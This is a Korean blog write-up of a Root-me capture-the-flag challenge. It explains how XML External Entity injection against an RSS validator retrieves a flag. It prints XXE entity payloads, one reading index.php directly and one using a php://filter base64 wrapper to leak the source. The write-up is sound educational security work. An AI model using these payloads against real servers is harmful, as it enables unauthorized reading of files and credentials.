XML External Entity

 

 

 

 

 

 

다음과 같이 URL을 입력하면 RSS데이터가 잘 생성 되었는지 검증해준다.

administarator의 password를 얻으면 되는 문제이다.


문제풀이

 

 

 

 

Input box에 URL을 넣으면 XML을 읽어주는 기능을 하므로 우리가 원하는 XML파일을 서버에 업로드하여 password를 탈취 할 수 있다.

 

 

기본적인 XML RSS형식을 이용하여 Validity Check를 해보자.

 

 

<?xml version="1.0" encoding="UTF-8"?>
 <rss version="2.0">
  <channel>
    <title>제목</title>
    <link>주소/</link>
    <description>설명 (짤막하게)</description>

    <item>
      <title>제목</title>
      <link>주소/글 주소</link>

      <description>글 내용 전체(또는 일부)</description>
      <pubDate>시간</pubDate>
      <guid>주소/글 주소</guid>
    </item>
  </channel>
</rss>

 


다음과 같은 코드를 입력하고 전송하였을 때

 

 

 

 

 

 

 

 

 

다음과 같이 정상적으로 결과가 나오게 된다.

 

 

이제 우리가 원하는 데이터를 얻기 위해서 XML External Entity를 이용해야한다.

우리가 알고있는 것은 우선 보여지고 있는 페이지가 index.php라는 점을 이용하여 우선 index.php파일을 살펴보자

 

<!ENTITY xxe SYSTEM "./index.php" >]>

 

 

다음과 같이 external entity를 작성하여서 결과 값을 봤을 때에 원하는 결과 값을 얻을 수 없었다.

php filter를 안쓰고 그냥 보내면 출력한 페이지에서 php를 해석하여 보여주기 때문에 소스 자체를 볼 수가 없다. (생각

그래서 php wrapper를 이용하여 답을 구하였다.

 

 

 

 

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]>

 

 

 

 

 

 

 

 

나온 결과값을 base64 decode하면 flag 값을 얻을 수 있다.

 


XXE에 대해 문제풀기만을 위해 얕게 공부한 것 같아서 더 알앙봐야겠다.

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] - Command injection - Filter bypass  (0) 2019.12.07
[Root-me] - PHP - Eval  (0) 2019.12.03
[Root-me] - File upload - ZIP  (0) 2019.12.03
[Root-me] - Local File Inclusion - Wrappers  (0) 2019.11.30
[Root-me] PHP - Serialization  (0) 2019.11.16

+ Recent posts